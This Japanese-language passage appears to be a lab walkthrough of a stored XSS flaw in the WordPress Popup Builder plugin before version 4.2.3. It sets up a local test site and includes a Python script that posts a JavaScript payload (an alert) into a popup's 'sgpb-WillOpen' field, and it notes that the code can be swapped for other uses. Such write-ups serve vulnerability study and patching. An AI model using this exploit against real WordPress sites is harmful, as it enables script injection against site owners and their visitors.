
この脆弱性は、WordPressのポップアッププラグインにおけるXSS(クロスサイトスクリプティング)の欠陥を示しており、攻撃者が格納型XSSを通じて悪意のあるJavaScriptを注入することを可能にします。
この脆弱性により、攻撃者はWordPress Popup Builderプラグインのクロスサイトスクリプティング(XSS)の欠陥を悪用できます。 このプラグインは、一般の訪問者が既存のポップアップを変更することを防止できず、攻撃者が特別に細工したリクエストをサーバーに送信することで、 ポップアップに悪意のあるスクリプトを注入でき、ユーザーがポップアップとやり取りしたときに実行されます。
このPOCでは、ポップアップの開き動作を操作することで脆弱性がトリガーされ、ポップアップが開いたときに実行される単純なアラートスクリプトが注入されます。 この種の攻撃は、機密情報への不正アクセスや影響を受けるウェブサイトのさらなる悪用など、さまざまな問題を引き起こし、ユーザーデータやサイト全体が危険にさらされる可能性があります。
このPOCでは、Windows 10マシンを使用し、XAMPPをダウンロードします:https://www.apachefriends.org/download.html
インストール後、ApacheモジュールとMySQLモジュールをONにしてください。

WordPressは、他のコンテンツ管理システムと同様に、すべての重要なデータを保存するためのデータベースが必要です。作成するSQLデータベースは、この情報の中央ストレージとして機能します。
脆弱性のあるバージョンのPopup Builderプラグインは、メインサイトからダウンロードできます:https://wordpress.org/plugins/popup-builder/advanced/
4.2.3の修正前の古いバージョンを選択してください:

次に、WordPress管理画面(http://localhost/wordpress/wp-login.php )にアクセスします。
プラグイン → 新規プラグイン追加 → プラグインのアップロード → ダウンロードした.ZIPファイルを選択してインストールします。
WordPress管理画面で、ページ → 新規追加 → パターンを選択することで、簡単なフロントページを作成できます。
ポップアップについては、Popup Builder → 新規追加 → タイプを選択しカスタマイズします。
このPOCでは、最近のウェブサイトで最も一般的に見られるポップアップの1つである購読ポップアップを選択しました。

[表示ルール]タブで、ポップアップをフロントページにアタッチできます:

これで、http://localhost/wordpress/ からフロントページにアクセスすると、 ポップアップがトリガーされるのが確認できます。
エクスプロイトを実行するには、まずポップアップIDを特定する必要があります。 これは、サイトにアクセスし、ポップアップをトリガーして、デベロッパーツールのNetworkタブを開くことで行えます。 admin-ajax.phpリクエスト(AJAXリクエストを処理するWordPressのコアコンポーネント)を探します。 Popup Builderはこれを利用して、WordPress内でポップアップの保存、更新、プレビュー、制御といった機能を管理します。
Payloadタブの下に、ポップアップIDがあります:

ポップアップIDを見つけたら、以下のスクリプトを使用してエクスプロイトをトリガーできます:
import requests
# 脆弱性のあるサイトのターゲットURLを定義
url = "http://localhost/wordpress/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"sgpb-is-preview": "1",
"post_ID": "22", # 見つけたポップアップIDを使用
"sgpb-type": "html",
"sgpb-WillOpen": "alert('Stored XSS Executed Successfully');" # カスタムJSコードをここに記述
}
# POSTリクエストを送信し、結果を出力
response = requests.post(url, data=data)
print(response.text)
ポップアップを編集できるため、カスタムJSのトリガータイミングも制御できます。 WordPress管理画面のポップアップ設定に「カスタムJSまたはCSS」オプションがあり、これによりカスタムコードのタイミングを制御できます:

これを、必要な用途に応じてスクリプトに組み込むことができます。
スクリプトをトリガーすると、WordPress管理画面のポップアップのカスタムJSセクションに新しい行が追加されているのが確認できます:

これで、一般ユーザーとしてサイトにアクセスすると、以下のメッセージが表示されます:

また、メッセージがSQLデータベース(デフォルトではwp_postmetaテーブル)に保存されていることも確認でき、これが保存型XSSであることを裏付けています:

Popup Builderプラグインのこの保存型XSS脆弱性により、攻撃者は悪意のあるJavaScriptを埋め込み、感染したポップアップとやり取りするたびにユーザーに対して実行できます。 悪用方法としては以下が考えられます: